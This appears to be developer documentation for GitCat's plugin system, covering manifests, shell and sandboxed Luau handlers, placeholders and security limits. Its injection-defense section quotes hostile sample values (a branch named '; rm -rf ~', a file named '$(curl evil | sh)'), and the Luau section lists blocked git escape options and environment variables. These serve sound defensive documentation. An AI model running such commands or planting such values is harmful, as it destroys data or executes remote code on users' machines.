Writing a plugin
A GitCat plugin is a small, declarative manifest — a single plugin.json file. It can contribute:
- Commands — actions that show up in the ⌘K command palette.
- Hooks — actions GitCat runs automatically when something happens (a repo opens, a commit is created, an undo runs, …).
- Panels — small surfaces built from a fixed set of widgets GitCat renders itself.
- Languages — keyword and comment syntax for diff highlighting.
- A Tama skin — alternate art and voice for Tama.
Panels, languages and skins are pure data: GitCat draws them, and they run nothing. A command or hook does its work in one of two ways:
- A shell
runstring — a command line GitCat expands and executes on your machine, exactly like the external diff/merge tools you configure under External Tools. It is not sandboxed: it runs with your privileges, so aruncommand can do anything the command line you wrote can do. - A Luau handler — a function in a script the plugin ships, run in an embedded, sandboxed Luau VM. The script gets no filesystem, process, or network access; its only reach outward is a
git()function restricted to an allowlist of subcommands, which refuses repository-changing ones unless the command declares"mutates": true.
There is no in-process JavaScript or Rust plugin API. Either way, install only plugins you trust — see Security & trust at the end.
Like the rest of GitCat, plugins are AI-agnostic: GitCat itself contacts no AI service and no network. If you want a plugin that calls an AI, you write the run line that shells out to your own tool — GitCat only runs it.
The manifest: plugin.json
A manifest is a small JSON document. Here's a complete, annotated example:
{
"id": "lint-and-review",
"name": "Lint & Review",
"version": "1.0.0",
"description": "Lint the working tree and hand a commit to an external review tool.",
"enabled": true,
"commands": [
{
"id": "lint",
"label": "Lint the working tree",
"run": "npm run lint",
"context": "repo",
"placement": "palette"
},
{
"id": "review-commit",
"label": "Review this commit",
"run": "my-review-tool --sha {sha} --repo {repo}",
"context": "commit",
"placement": "both"
}
],
"hooks": [
{
"event": "commit-created",
"run": "printf '::gitcat.tama ok Nice commit!'"
}
]
}Top-level fields
Unknown keys are rejected. Install refuses a manifest carrying a key GitCat does not recognize, anywhere in it — including inside a command, hook or panel — and names the key (
commands[1].mutatez). A typo used to be ignored in silence, so a misspelledmutatesproduced a command that quietly took no safety snapshot. If the key belongs to a newer GitCat, declareminGitcatVersion: that check runs first, so your users get "needs GitCat 1.4 or newer" instead of a list of keys.
| Field | Required | Type | Notes |
|---|---|---|---|
id | ✅ | string | Stable, unique identifier. Must match ^[a-z0-9][a-z0-9-]*$ — start with a lowercase letter or digit, then lowercase letters, digits, and - only. No uppercase, spaces, underscores, or dots. Used as the enable/remove key. Installing a second plugin with the same id is rejected. |
name | ✅ | string | Human-readable display name (shown in Settings and as the ⌘K hint). Must be non-empty. |
version | ✅ | string | Any non-empty string (e.g. "1.0.0"). Not parsed or compared — it's just for your reference. |
minGitcatVersion | — | string | The oldest GitCat that can run this plugin, e.g. "1.3.0" ("1.3" works too — a missing component reads as zero). Omit it and the plugin installs on any host. See Requiring a GitCat version. |
description | — | string | Optional one-liner. |
enabled | — | boolean | Defaults to true when omitted — a freshly installed plugin is active until you disable it. |
commands | — | array | Zero or more commands. Defaults to []. |
hooks | — | array | Zero or more hooks. Defaults to []. |
panels | — | array | Zero or more declarative UI panels — titled surfaces of text/heading/button/command-output widgets GitCat renders itself, opened from ⌘K. Defaults to []. |
languages | — | array | Zero or more syntax-highlighting grammars for the diff viewer. Defaults to []. |
tama | — | object | Optional Tama skin — an alternate look and voice for the mascot (poses, a greeting, a voice pitch). |
lua | — | string | Optional path (relative to the plugin folder) to a main Luau script — required only if any command/hook uses a handler. See Scripting with Luau. |
A manifest must be a regular file no larger than 256 KB (a plugin.json is tiny by design).
Requiring a GitCat version
If your plugin uses something a newer GitCat introduced — a placeholder token, a widget type, a manifest field — say so with minGitcatVersion:
{ "id": "my-plugin", "name": "My Plugin", "version": "1.0.0", "minGitcatVersion": "1.3.0" }An older host then refuses the install with a message naming both versions, instead of accepting the plugin and misbehaving later.
That "misbehaving later" is worth being concrete about, because it is quiet. An unrecognized placeholder token expands to the empty string, so a run of rm {file} written against a GitCat that has {file} becomes plain rm on one that doesn't. Nothing errors, nothing warns; the command simply runs with your argument deleted. Declaring the floor is what turns that into a refusal at the one moment a person is present to read it.
One honest limitation. The gate only protects hosts that have the gate. GitCat 1.2 and earlier ignore minGitcatVersion entirely, so the first generation of gated plugins still installs silently on them. That is unavoidable — an older release cannot be taught to read a field that did not exist when it shipped — and it is not a reason to leave the field out. Every host from 1.3 on honours it.
Commands
Each entry in commands[] contributes one invocable action.
| Field | Required | Notes |
|---|---|---|
id | ✅ | Same ^[a-z0-9][a-z0-9-]*$ charset as a plugin id, and unique within the plugin — a duplicate is rejected at install. Combined with the plugin id to address the command. |
label | ✅ | The text shown in ⌘K. Must be non-blank. |
run | ✳️ | The external command template. Declare exactly one of run or handler. |
handler | ✳️ | The name of a Luau handler function instead of a shell run. Requires the plugin to declare a top-level lua script. Declare exactly one of run or handler. |
context | — | What selection the command needs. Default "none". |
placement | — | Where the command surfaces. Default "palette". |
mutates | — | Set true if the command changes the repository. Default false. See Mutating actions & Undo. |
context
context declares what the command operates on, which determines which placeholders get filled in:
| Value | Meaning |
|---|---|
none (default) | Always applicable; needs no selection. |
commit | Needs a selected commit (fills {sha}, and {files} with that commit's changed paths). |
file | Needs a selected file (fills {file}). With nothing selected the command is not run — GitCat says so rather than expanding {file} to nothing. |
repo | Repo-scoped — needs only the open repository. |
staged | Works on the staged files: fills {files} with the paths currently in the index, read fresh when you run it. Needs no selection, so it's the one to use for a pre-commit lint/format command. With nothing staged the command is not run — GitCat says "Nothing is staged" rather than expanding {files} to nothing. {file} and {sha} are not filled for a staged command. |
Availability. Every command appears in ⌘K regardless of its
context; the context is checked when you run it. Afilecommand with no file selected, or astagedcommand with nothing staged, is refused with a message from Tama rather than run with an empty token.
What's populated today. The built-in ⌘K invocation always fills
{repo};{sha}and{files}for acommitcommand;{file}for afilecommand;{files}for astagedcommand.{diff},{branch}and{ref}are recognized by the expander but not yet populated, so they currently expand to an empty string.
placement
| Value | Meaning |
|---|---|
palette (default) | Only in the ⌘K command palette. |
menu | Only in the relevant native context menu. |
both | Both the palette and the context menu. |
The native menu isn't wired yet. Right now commands surface only in ⌘K. A
paletteorbothcommand appears there today; amenu-only command won't appear anywhere until the context-menu integration lands. If you want your command usable now, usepalette(orboth).
Installed commands show up in ⌘K live — right after you install, enable, or disable a plugin, with no need to reopen the palette.
Placeholders
A run string is a template. Before running it, GitCat substitutes {...} tokens with values from the current context.
| Token | Expands to |
|---|---|
{repo} | The repository's path. Also the working directory the command runs in. |
{sha} | The selected commit's id. |
{file} | The selected file, relative to the repository root. Filled for a file-context command, from whichever view is open — the working tree's selection when Uncommitted changes is showing, the commit's otherwise. |
{files} | A list of file paths, relative to the repository root, each quoted as its own argument and space-joined (a path with spaces stays one argument). For a commit command: the paths that commit changed against its first parent (every file, for a root commit). For a staged command: the paths currently staged, read when the command runs. Deleted paths are left out in both cases — there is no file left to hand a tool. Empty for every other context. See Linting staged files. |
{diff} | Diff text. |
{branch} | A branch name. |
{ref} | A full ref / tag / symbolic ref. |
Which tokens are filled today. {repo} always; {sha} for a commit command; {file} for a file command; {files} for a commit or staged command. {diff}, {branch} and {ref} are recognized by the expander but nothing fills them yet, so they currently expand to nothing — write your run against the four above, and get the rest from git itself (your command runs with the repository as its working directory, so git branch --show-current and friends are right there).
Rules the expander follows:
- Every substituted value is quoted so the shell treats it as one inert literal argument — it can't word-split, glob, expand a variable, run a command substitution, or break out of its argument. On macOS/Linux that's POSIX single-quoting for
sh; on Windows it's double-quoting forcmd.exe(see Windows). - The grammar is narrow: a token is
{+ one-or-more lowercase ASCII letters +}. Anything else is left verbatim, so your own shell syntax survives untouched —${HOME}(uppercase),${1}(digit),awk '{print $1}'(space), and{}are all copied through, not treated as tokens. - Unknown tokens expand to nothing. An unrecognized
{name}, or a token whose value is absent, becomes an empty string. - Single pass, no re-expansion. A value that itself contains
{repo}or{sha}text (e.g. inside a diff) is never re-scanned, so untrusted content can't smuggle in a second placeholder.
Linting staged files
{files} exists because a file list is the one thing a run string can't build without shell-specific syntax: eslint $(git diff --cached --name-only) relies on sh command substitution, which cmd /C on Windows doesn't have. A staged command gets the list from GitCat instead, with no command substitution:
{
"id": "lint-staged",
"label": "Lint staged files",
"context": "staged",
"run": "npx eslint -- {files}"
}Each path arrives as its own quoted argument, so a file named my file.ts is one argument, not two. Put -- before {files} so a file whose name starts with - is never read as an option (see below). The same line runs unchanged on Windows, where each path is double-quoted for cmd.exe instead. As with every token there, a path containing a cmd.exe metacharacter makes GitCat refuse the run rather than risk it (see Windows).
Values are untrusted — guard against flag injection
Placeholder values come from whatever repository is open, which a malicious project controls freely: a branch literally named ; rm -rf ~, a file named $(curl evil | sh), diff text full of backticks. Quoting neutralizes all of that as shell injection — but it does not change argument boundaries. A value that starts with - (a branch named --upload-pack=…, a ref -n) is still handed to your tool as an option.
Put a -- end-of-options separator before any untrusted placeholder:
// good — the branch name can never be read as a flag
"run": "git checkout -- {branch}"The command runs in the repo
The expanded command runs with the repository as its working directory (the same path {repo} expands to). A command invoked with no repository open is refused — there's nowhere sensible to run it. Commands are run through the platform shell (sh -c on macOS/Linux, cmd.exe /S /C on Windows), so a run line can be a full command line with arguments and pipes. There's a 120-second timeout; stdout is captured (ANSI escapes stripped), and a non-zero exit is reported as a normal outcome, not a hard error.
Windows
On Windows the template runs under cmd.exe, and every placeholder value is double-quoted for it ("a b.txt"), so a path with spaces is one argument there too. Your template's own text, including its own double quotes, reaches cmd exactly as written.
Double quotes alone can't stop cmd from acting on a few characters, so GitCat fails closed first: before running, it refuses the command if any substituted value contains & | < > ^ % ! " or a carriage return / newline. This blocks injection through a hostile branch/ref/file name, at the cost of refusing some legitimate values. In particular {diff} is almost always refused on Windows (diffs routinely contain those characters).
The template itself is still cmd syntax on Windows and sh syntax elsewhere. To write one run line that works on both, stick to a program, its arguments, and placeholders: &&, ||, |, > and "double-quoted" arguments mean the same in both shells. Single quotes, $VAR, $(...) and backticks are sh-only, and the program you name must exist on Windows (grep, for one, doesn't ship with it).
Hooks
Each entry in hooks[] runs a run command (same template grammar and execution as a command) — or, instead, a Luau handler (see Scripting with Luau) — when a lifecycle event fires. Just like a command, a hook must declare exactly one of run or handler.
"hooks": [
{ "event": "repo-opened", "run": "my-tool sync --repo {repo}" }
]event | Fires when… |
|---|---|
repo-opened | Any time a repository is opened. |
repo-switched | A repository is opened while moving from a different repo. |
pre-mutation | GitCat is about to perform a history-changing or destructive operation. |
commit-created | You create a commit through GitCat's commit UI. |
undo | A global Undo is performed. |
post-mutation | Declared but not fired yet — see below. |
Key facts about hooks:
post-mutationis not wired yet. It's accepted in the schema so manifests are forward-compatible, but GitCat has no single post-mutation chokepoint to fire it from, so apost-mutationhook currently never runs.- Hooks are fire-and-forget observers. GitCat does not wait for a hook before proceeding, and a hook cannot veto or block an operation. Even a slow
pre-mutationhook can't gate the mutation it observes. - Only enabled plugins' hooks run. A hook whose command fails to even launch is skipped so it can't stall the event or the other hooks.
- Hooks receive only
{repo}in their context today. - A hook can set
"mutates": true(same as a command) if it changes the repo — see Mutating actions & Undo. - Hooks run on a shorter 30-second timeout than commands (they're background observers).
- No infinite loops: a hook that itself runs
git commitis an external shell call and does not re-fire GitCat's own lifecycle events.
Tama reactions
A command or hook can nudge Tama's mood straight from its stdout, without any special API. Print a line anywhere in stdout:
::gitcat.tama <reaction> <message><reaction> must be one of a fixed, closed safe allowlist:
| Reaction | Tama's pose | Meaning |
|---|---|---|
info | hint | "here's something to know" |
busy | thinking | "I'm working on it" |
ok | celebrate | "that went well" |
problem | confused | "that didn't go well" |
The <message> is trimmed and capped at ~160 characters. The directive line itself is stripped from the output Tama shows — so printf '::gitcat.tama ok Done!' makes Tama celebrate and say "Done!" without echoing the raw control line. If a command prints several directives, the last valid one wins. With no directive at all, GitCat surfaces the command's output as usual.
A plugin can never spoof a safety warning. The four tokens above are the only path from plugin stdout to a Tama pose, and every target is benign or informational. GitCat's safety-critical poses (the alarmed "danger" face, the rewrite/undo warnings) are reachable only when GitCat itself flagged a destructive action — no <reaction> maps to them. Any other token (danger, warn, undo, or arbitrary garbage) is silently ignored: it changes nothing and can't even win the "last valid line" race against a real ok.
Scripting with Luau
A run string is a single shell command. When you need real logic — branch on git output, loop over files, build a message — a command or hook can instead run a handler function written in Luau (a fast, safe Lua dialect) inside a locked-down sandbox. This is still AI-agnostic and offline: the script's only reach outward is a git() function.
The two manifest fields
lua(top-level) — a path, relative to the plugin folder, to your main script (e.g."lua": "main.lua"). The file must be a real.luafile inside the plugin folder (no.., no symlink escaping the folder), at most 256 KB.handler(on a command or hook) — the name of a function your script exports. A command/hook declares exactly one ofrun(shell) orhandler(Luau); declaring both, or neither, is rejected at install. Anyhandlerrequires the plugin to declare aluascript.
{
"id": "my-scripted-plugin",
"name": "My Scripted Plugin",
"version": "1.0.0",
"lua": "main.lua",
"commands": [
{ "id": "hello", "label": "Say hello", "handler": "hello", "context": "repo" }
]
}The script returns a table of handlers
Your main file returns a table mapping handler names to functions. Each handler is called with a single ctx argument:
-- main.lua
local M = {}
function M.hello(ctx)
local head = git({ "rev-parse", "--short", "HEAD" })
if head.ok then
local sha = (head.stdout:gsub("%s+$", ""))
print("HEAD is at " .. sha) -- captured as the command's output
tama.react("ok", "Hello — HEAD is " .. sha)
return "done at " .. sha -- a returned string is appended too
end
tama.react("problem", "could not read HEAD")
end
return M -- the command's `handler: "hello"` calls M.helloThe host API — the entire outside-world surface
A handler sees exactly four things (nothing else — see the sandbox):
| Name | What it is |
|---|---|
ctx | A read-only table mirroring the placeholders: ctx.repo, ctx.sha, ctx.file, ctx.files (an array), ctx.diff, ctx.branch, ctx.ref. Absent fields are nil. (Populated from the UI exactly like the shell tokens — today ctx.repo always, ctx.sha and ctx.files for a commit-context command, ctx.file for a file command, and ctx.files for a staged command; ctx.files is an empty array otherwise.) Also passed as the handler's argument. |
git(args) | Run git with args (an array of strings) in the repo — git({ "log", "-1", "--format=%s" }). Returns a table { stdout, stderr, code, ok } (ok is true on a zero exit; code is the exit code, or nil if signal-killed). No shell is involved, so an arg is inert literal data — there is nothing to inject into, unlike the shell run path. Only an allowlisted set of git subcommands runs, and repository-changing ones need "mutates": true — see what git() allows. |
tama.react(kind, msg) | Nudge Tama's mood. kind must be one of info, busy, ok, problem (the same safe allowlist as the ::gitcat.tama stdout protocol) — any other value is ignored. A script can never reach a safety-critical pose. |
print(...) | Append to the command's captured output (there is no console). Arguments are tostring'd and tab-joined, like Lua's print. |
The command's output is everything printed, plus any tama.react lines, plus (if the handler returns a string) that string.
The Luau sandbox
Handlers run in a fresh, isolated Luau VM built for untrusted code:
- Only safe libraries are loaded —
string,math,table, and Luau's base library (print,pairs,ipairs,tostring, …). There is noos, noio, no network, and norequire/load/loadstring/dofile— a script cannot touch the filesystem, spawn processes (except throughgit()), open sockets, or load more code. Luau's base library also has a few globals removed for safety:pcallandxpcall(so a handler cannot catch and swallow the memory or time limit), plusgetfenv,setfenv, andnewproxy. TheSTRIPPED_GLOBALSlist inplugin_lua.rsis the source of truth for what the sandbox deletes. - Hard limits: a ~64 MB memory ceiling (an allocation past it aborts the script) and a wall-clock time budget of a few seconds (a runaway loop is killed). Either limit, any Lua compile/runtime error, or a missing/ill-typed handler surfaces as the command failing — GitCat reports the error.
- Each invocation gets a fresh VM; no state leaks between runs.
What git() allows
git() is the only process a script can start, and git itself can run other programs (aliases, hooks configured through git config, --upload-pack, rebase --exec, …) or touch paths outside the repository (--output, diff --no-index, -C). So git() checks every call before git starts and refuses it with a Lua error unless it fits this policy:
- Subcommands are allowlisted.
- Read-only, always allowed:
log,show,rev-parse,rev-list,status,diff,diff-tree,diff-index,diff-files,range-diff,whatchanged,ls-files,ls-tree,cat-file,blame,shortlog,describe,name-rev,for-each-ref,show-ref,show-branch,merge-base,cherry,grep,count-objects,check-ignore,check-attr,check-ref-format,version,format-patch --stdout(--stdoutmust be its first argument), the listing forms ofbranch/tag/stash/notes,reflog(reading), andconfigreads (--get,--get-all,--get-regexp,--list,config get,config list). - Changes the repo, needs
"mutates": true:add,rm,mv,restore,reset,checkout,switch,commit,merge,cherry-pick,revert,rebase, and the creating/deleting forms ofbranch,tag,stash,notes. Withoutmutatesthese are refused (so they can never run outside Undo). - Everything else is refused, including every alias, every network command (
fetch,pull,push,clone,ls-remote,remote,archive), anything that writes config (configwrites,submodule,worktree,maintenance), anything that runs another program (bisect run,submodule foreach,filter-branch,difftool,mergetool,help— including<subcommand> --help, which git turns intogit help), and anything that destroys Undo's recovery data (gc,prune,update-ref,reflog expire/delete,clean). Use a shellruncommand for those.
- Read-only, always allowed:
- git-level options (before the subcommand) are limited to
--version,--no-pager/-P,--no-optional-locks,--no-replace-objectsand the--*-pathspecsswitches.-C,-c,--git-dir,--work-tree,--config-env,--exec-path,--namespaceand the rest are refused. - Escape options are refused wherever they appear, in every spelling git accepts (
--opt value,--opt=value, a unique abbreviation such as--upload-p, or a bundled short flag such as-ix):--output,--output-directory/format-patch -o,--exec/rebase -x,--ext-diff,grep -O/--open-files-in-pager,--upload-pack,--receive-pack,--no-index(and agit diffpath outside the repo, which implies it),--file/-F,--template/commit -t,--pathspec-from-file,blame --contents/-S/--ignore-revs-file,--orderfile/-O,format-patch --signature-file/--description-file/--no-stdout,grep -f,ls-files -X/--exclude-from/--exclude-per-directory,--help, and a-s/--strategythat is not one of git's built-in merge strategies. Agit diffpath that is absolute, drive-relative (C:x) or climbs out with..is refused too. Arguments after--are still checked, because a--can be the value of the option before it; write a path that looks like one of these options as./--output. - Every call is hardened: git runs with
--no-pager,-c core.fsmonitor=false, hooks turned off (core.hooksPathpointed at a directory that can't exist),GIT_EDITOR=:andGIT_SEQUENCE_EDITOR=:(socommitwithout-morrebase -inever opens an editor), andGIT_TERMINAL_PROMPT=0. InheritedGIT_DIR,GIT_WORK_TREE,GIT_INDEX_FILE(and the other repository-location variables) are removed, as are the variables that inject config or programs:GIT_CONFIG,GIT_CONFIG_PARAMETERS,GIT_CONFIG_COUNT/GIT_CONFIG_KEY_*/GIT_CONFIG_VALUE_*,GIT_EXTERNAL_DIFF,GIT_SSH,GIT_SSH_COMMANDandGIT_PROXY_COMMAND.GIT_CONFIG_GLOBAL,GIT_CONFIG_SYSTEM,GIT_CONFIG_NOSYSTEMandGIT_EXEC_PATHare kept — they only pick which of your own config files and which git install apply, as in your terminal.
Hooks never run from git(). A plugin's commits, checkouts and branch updates behave as if --no-verify were passed, so pre-commit/commit-msg checks (husky, Gerrit's Change-Id hook, …) are skipped for them. This is deliberate: a mutates handler can write a file with any content anywhere in the work tree (e.g. notes add -m <text> creates the blob, restore and mv place it), so in a repo whose core.hooksPath lives inside the work tree (.husky/_, .githooks) it could otherwise overwrite a hook and then trigger it with its own git commit.
The rest of your own git configuration still applies: filter.* drivers (Git LFS), commit signing and textconv drivers behave exactly as they do in a terminal. A script can't change any of it, because config writes are refused.
The plugin_git_policy.rs module is the source of truth for this policy.
Within that policy
git()can still read and (withmutates) write the repo — including arbitrary file content in the work tree, which could plant code that you later run (a build script, apackage.jsonscript, an in-tree file your git configincludes). Undo restores branches andHEAD, not working-tree files. Install a scripted plugin only if you'd run its code yourself.
Mutating handlers must set mutates
Just like a shell command, a Luau handler that changes the repository (any git() call that writes — commit, reset, checkout, restore, …) must set "mutates": true on its command/hook. GitCat then takes a safety snapshot before running it, so the change is covered by global Undo (and a mutating command that can't be snapshotted is refused rather than run unprotected). For a handler this is enforced: without mutates, git() refuses every repository-changing subcommand with a Lua error, so a handler's git() writes never run outside Undo. See what git() allows and Mutating actions & Undo.
Panels
A plugin can declare panels: small surfaces that open from ⌘K and show a column of widgets GitCat renders itself. A panel is data, not code. There is no HTML, script, or styling in it, and the only thing a widget can do is run one of the plugin's own commands, through the same path a ⌘K entry uses.
{
"id": "my-panel-plugin",
"name": "My Panel Plugin",
"version": "1.0.0",
"commands": [
{ "id": "status", "label": "Short status", "run": "git status --short", "context": "repo" },
{ "id": "fetch", "label": "Fetch all remotes", "run": "git fetch --all --prune", "context": "repo" }
],
"panels": [
{
"id": "overview",
"title": "Repo overview",
"items": [
{ "type": "heading", "text": "Working tree" },
{ "type": "text", "text": "Press Re-run to refresh the status below." },
{ "type": "command-output", "command": "status", "label": "git status --short" },
{ "type": "button", "label": "Fetch now", "command": "fetch" }
]
}
]
}Panel fields
| Field | Required | Type | Notes |
|---|---|---|---|
id | ✅ | string | Same ^[a-z0-9][a-z0-9-]*$ charset as a plugin id, and unique within the plugin. |
title | ✅ | string | Non-blank. It's the panel's ⌘K entry and the heading of the panel window. |
items | ✅ | array | The widgets, top to bottom. May be empty (the panel then says so). |
Widgets
Each item is an object with a type:
type | Fields | What it shows |
|---|---|---|
heading | text ✅ | A section heading. |
text | text ✅ | A paragraph of plain text. |
button | label ✅, command ✅ | A button that runs command command when clicked. The result comes back through Tama, exactly as if you had picked the command in ⌘K (including Tama reactions). |
command-output | command ✅, label — | A box that shows command command's stdout inline, verbatim. label is an optional caption (the command id is shown if you omit it). It does not run when the panel opens, because the command might change the repository. Press Re-run to run it. A non-zero exit shows its exit code beside the output, and a valid ::gitcat.tama line in the output still makes Tama react. |
Where a panel appears
A panel has no placement. Each panel adds exactly one ⌘K entry, named by its title and hinted "Plugin panel · plugin name"; choosing it opens the panel in a window. A disabled plugin's panels leave ⌘K along with its commands.
Rules checked at install
- The panel
idis valid and unique within the plugin, andtitleis non-blank. heading/texttext, abutton'slabel, and acommand-output'slabel(when present) are non-blank.- A
buttonorcommand-outputcommandmust be theidof a command in the same plugin. A missing one is rejected, not ignored. The command'splacementdoesn't matter, so a"menu"-only command can still back a widget. - An unknown
type, or an unknown key on a panel or widget, is rejected like any other key GitCat doesn't understand.
A widget's command runs with the context it declares: a file command run from a panel still needs a selected file, and a staged command still needs something staged. A mutates: true command still takes its safety snapshot.
staged-review in the examples is a complete plugin with a panel that uses all four widgets.
Tama skins
A plugin can also ship an alternate look and voice for Tama by declaring a top-level tama object. This is purely declarative art and copy — a skin contributes no commands and no hooks, runs no process, and needs no open repository. It ships its own pose images (bring real character art; recolors of the default read as off), and once installed you pick it in Settings → Tama → Skin.
Apply a skin from Settings → Tama → Skin: the picker lists Default (built-in), the built-in characters, and every enabled plugin that declares a tama field.
{
"id": "my-character-skin",
"name": "My Character",
"version": "1.0.0",
"tama": {
"poses": {
"hero": "poses/hero.webp",
"curious": "poses/curious.webp"
// …the remaining pose keys…
},
"voicePitch": 1.05, // optional; omit for the default 1.0
"copy": { "greeting": "Hi, I'm filling in for Tama today." } // optional
}
}| Field | Required | Type | Notes |
|---|---|---|---|
poses | ✅ | object | Maps a built-in pose key to a relative image path inside the plugin folder. The eight keys are hero, curious, confident, thinking, happy, alarm, shocked, sleep. A skin may override some or all of them — any key it omits falls back to Tama's default painted portrait. Any other key is rejected at install time. Paths may not be absolute or contain ... |
voicePitch | — | number | A multiplier applied to Tama's synthesized sound effects, so the character speaks higher (> 1) or lower (< 1). Omitted means no change (1.0). Must be finite; a finite out-of-range value is clamped to [0.5, 2.0] when the skin loads. |
copy | — | object | Optional greeting/voice lines. GitCat surfaces one (preferring applied > greeting > hero, else the first) as a courtesy toast when the skin is applied, capped at ~160 chars. It can never reach a safety-critical pose — the same trust boundary as a ::gitcat.tama reaction. |
Languages
GitCat's diff viewer highlights JS/TS with real keyword awareness; every other file gets a "generic" grammar with comments, strings and numbers but no keywords at all. A plugin can declare languages to add keyword-aware highlighting for any language, by file extension — purely declarative, like a panel: a keyword list and comment syntax, never code. There is no way for a plugin to inject a custom tokenizer or run against a diff's text.
{
"id": "my-languages",
"name": "My Languages",
"version": "1.0.0",
"languages": [
{
"id": "python",
"extensions": ["py", "pyw"],
"keywords": ["def", "class", "return", "import", "if", "else", "for"],
"lineComment": "#"
},
{
"id": "rust",
"extensions": ["rs"],
"keywords": ["fn", "let", "mut", "struct", "impl", "match", "return"],
"lineComment": "//",
"blockComment": { "start": "/*", "end": "*/" }
}
]
}| Field | Required | Type | Notes |
|---|---|---|---|
id | ✅ | string | Same ^[a-z0-9][a-z0-9-]*$ charset as a plugin/panel id. Becomes the highlighter's internal grammar id. |
extensions | ✅ | array of strings | At least one file extension this grammar applies to, without a leading dot ("py", not ".py"), matched case-insensitively. |
keywords | — | array of strings | Reserved words highlighted as keywords. Defaults to [] — a language with only comment/string/number/punctuation highlighting is still strictly better than the generic fallback's total lack of keyword awareness. |
lineComment | — | string | A single-line comment marker, e.g. "#" or "//". Omit it and this language has no line comments recognized. |
blockComment | — | object | { "start": "…", "end": "…" } — a block-comment delimiter pair. Omit it and this language has no block comments recognized. |
String, number and punctuation highlighting are not configurable — every language reuses GitCat's own built-in rules for those, so a manifest only ever supplies the parts that are genuinely language-specific.
Extension collisions: if more than one enabled plugin claims the same file extension (or the same language id), the plugin that was installed or enabled most recently wins for that extension — GitCat cannot know at install time what else is or will be installed, so this is a simple, deterministic tie-break rather than a rejection.
See language-pack for a real example covering Python, Rust, Go, Java, C, C++ and Shell.
Finding plugins
Open Tools ▸ Plugins… and switch to the Browse tab. That pane reads gitcat-plugins, a community index, and can fetch a listed plugin for you — you can also browse that repository directly if you would rather read it on GitHub first. Two kinds of listing:
- Official — small reference plugins maintained directly in that repo (this doc's own example plugins live there too, under
official/). - Community — a pointer entry (id, the plugin's own repo, and the path to its
plugin.jsoninside it) for a plugin someone else maintains in their own repository. The index never hosts community plugin code — download the linkedplugin.json, then install it the normal way.
The whole catalog is also aggregated into one machine-readable index.json at that repo's root. That file is what the in-app Browse tab reads, and what anything else scripting against the catalogue should read too.
What "install from the catalogue" actually does
Installing from Browse is not one click that runs something. It is the ordinary install with the file-picking step done for you:
- GitCat downloads that plugin's own files — its
plugin.jsonand whatever sits beside it, such as amain.lua— into a folder GitCat owns. - Nothing is installed yet. You get the same review a file-picked install gets: every command the manifest runs, every hook and its event, anything marked
mutates. - Only when you confirm does it enter the registry.
So a listed plugin gets no more trust than one you downloaded yourself. GitCat vouches for where the catalogue is, never for what is in it — entries are pointers people submit, not code anyone audited.
Two limits worth knowing, both deliberate:
- Only GitHub. The catalogue and every plugin file are fetched from
raw.githubusercontent.com/api.github.comand nowhere else, including after redirects. The index URL is fixed in the app rather than configurable. - Plugins get no network of their own. This fetching lives in GitCat's Rust side, not in the webview a plugin's own code can reach. A plugin still cannot open a socket; see Sandbox.
Wrote a plugin worth sharing? See that repo's own CONTRIBUTING.md — adding a community entry is a small PR against your own repo's URL, not a copy of your code.
Installing & managing plugins
Plugins install from a local file, or from the Browse tab that fetches one for you — see Finding plugins above. Either way the review step below is the same.
- Open Tools ▸ Plugins… (or run "Plugins" from ⌘K).
- Click Install from file… and pick the plugin's
plugin.jsonfile (open the plugin's folder and select itsplugin.json, not the folder itself). - GitCat parses and validates the manifest and shows you what it runs — every command's
runtemplate, every hook and its event, anything markedmutates, and the folder it loads from. Nothing is installed until you confirm. - The plugin appears in the list, enabled by default. Its commands are immediately available in ⌘K.
Selecting an installed plugin in the same panel shows that identical view, so you can check later what you agreed to at install time.
From the same window you can:
- Enable / disable a plugin with its toggle. A disabled plugin's commands and hooks stop running immediately — the check is in the backend, so it holds even for a second GitCat window whose command palette was listed before you flipped the toggle (each window is a separate process and keeps its own cached list). That window may still show the commands until it reloads its registry; running one reports that the plugin is disabled rather than executing it.
- Remove a plugin. This only drops it from GitCat's registry — your original
plugin.jsonfile on disk is untouched, so you can reinstall it later.
Where the registry lives
Installed plugins are recorded in a single plugins.json file under GitCat's app config directory:
| Platform | Path |
|---|---|
| macOS | ~/Library/Application Support/com.jiucheng.gitcat/plugins.json |
| Linux | ~/.config/com.jiucheng.gitcat/plugins.json (or $XDG_CONFIG_HOME/...) |
| Windows | %APPDATA%\com.jiucheng.gitcat\plugins.json |
This file stores the installed manifests (GitCat copies them in at install time); it isn't meant to be hand-edited. If it's ever corrupted, GitCat renames it aside and starts fresh rather than refusing to launch.
Security & trust
A plugin's run string is a user-authored external command that runs on your machine — the same trust boundary as an external diff/merge tool cmd. Install a plugin only if you'd be comfortable running its commands yourself in a terminal. GitCat never evaluates the run string in-process, and it contacts no AI service or network on its own; whatever a plugin does lives entirely inside its own commands.
A Luau handler is narrower: it runs in the sandbox, and its only way out is git() with an allowlist. That allowlist still runs real git in your repository, so treat a scripted plugin like any other code you install. Panels, languages and Tama skins are declarative data and run nothing of their own.
A few limits worth knowing while the plugin security model is still being built out:
- Mutating actions & Undo. GitCat snapshots
HEADand every local branch before its own history-changing operations so global Undo can rewind them. A plugin command or hook that changes the repo (git reset --hard,git checkout, etc.) gets the same protection when it declares"mutates": true: GitCat takes a snapshot before running it, so the branch andHEADmovement is covered by Undo. Like any snapshot, it doesn't capture uncommitted changes — working-tree edits agit reset --hardthrows away can't be brought back by Undo. A command declared this way that can't be snapshotted is refused rather than run unprotected. A mutating action that does not setmutatesruns outside Undo (and takes no snapshot) — so always set"mutates": trueon anything that changes the repo. GitCat can't infer it from your opaquerunstring. - Argument injection is your responsibility. Quoting stops shell injection but not flag injection — use
--before untrusted placeholders (see above). - The subprocess inherits GitCat's environment. A plugin command can read GitCat's environment variables.
Example plugins
Ready-to-read manifests live in examples/plugins/ in the repository — copy one, edit its id/run lines, and install it from Tools ▸ Plugins… to get started. The same ones (plus anything else contributed since) are also mirrored under official/ in the community index, alongside third-party plugins.